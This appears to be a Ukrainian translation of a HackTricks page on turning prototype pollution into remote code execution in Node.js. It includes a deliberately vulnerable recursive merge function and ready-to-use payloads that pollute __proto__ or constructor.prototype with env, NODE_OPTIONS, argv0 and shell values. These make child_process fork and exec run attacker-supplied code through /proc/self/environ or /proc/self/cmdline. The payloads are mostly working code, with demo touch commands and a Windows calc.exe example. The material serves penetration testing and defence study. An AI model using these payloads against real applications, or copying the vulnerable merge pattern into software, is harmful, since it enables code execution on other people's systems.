Поділіться своїми хакерськими трюками, надсилайте PR доHackTricksіHackTricks Cloudрепозиторіїв на GitHub.
Вразливий код
Уявіть собі реальний JS, який використовує код, подібний наступному:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE через змінні середовища
PP2RCE означає Прототипне забруднення для виконання коду (Віддалене виконання коду).
Згідно з цим описом, коли процес створюється за допомогою деякого методу з child_process (наприклад, fork або spawn або інші), він викликає метод normalizeSpawnArguments, який є пристроєм для прототипного забруднення для створення нових змінних середовища:
Перевірте цей код, ви можете побачити, що можливо заповнити envPairs просто забруднюючиатрибут .env.
Забруднення __proto__
Зверніть увагу, що через те, як працює функція normalizeSpawnArguments з бібліотеки child_process вузла, коли щось викликається для встановлення нової змінної середовища для процесу, вам просто потрібно забруднити що-небудь.
Наприклад, якщо ви робите __proto__.avar="valuevar", процес буде запущено зі змінною, яка називається avar зі значенням valuevar.
Однак, щоб змінна середовища була першою, вам потрібно забруднитиатрибут .env і (тільки в деяких методах) ця змінна буде першою (що дозволяє атаку).
Тому NODE_OPTIONSне знаходиться всередині .env у наступній атакі.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Забруднення constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE через змінні середовища + командний рядок
Аналогічний пейлоуд до попереднього з деякими змінами був запропонований в цьому описі. Основні відмінності полягають в:
Замість зберігання пейлоуду nodejs у файлі /proc/self/environ, він зберігається у argv0/proc/self/cmdline.
Потім, замість вимоги через NODE_OPTIONS файл /proc/self/environ, він вимагає /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Взаємодія з DNS
За допомогою наступних політів можна зловживати змінною середовища NODE_OPTIONS, про яку ми раніше говорили, і виявити, чи вона працює з взаємодією з DNS:
У цьому розділі ми будемо аналізувати кожну функцію з child_process для виконання коду та перевіримо, чи можемо ми використати яку-небудь техніку, щоб змусити цю функцію виконати код:
exec експлуатація
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');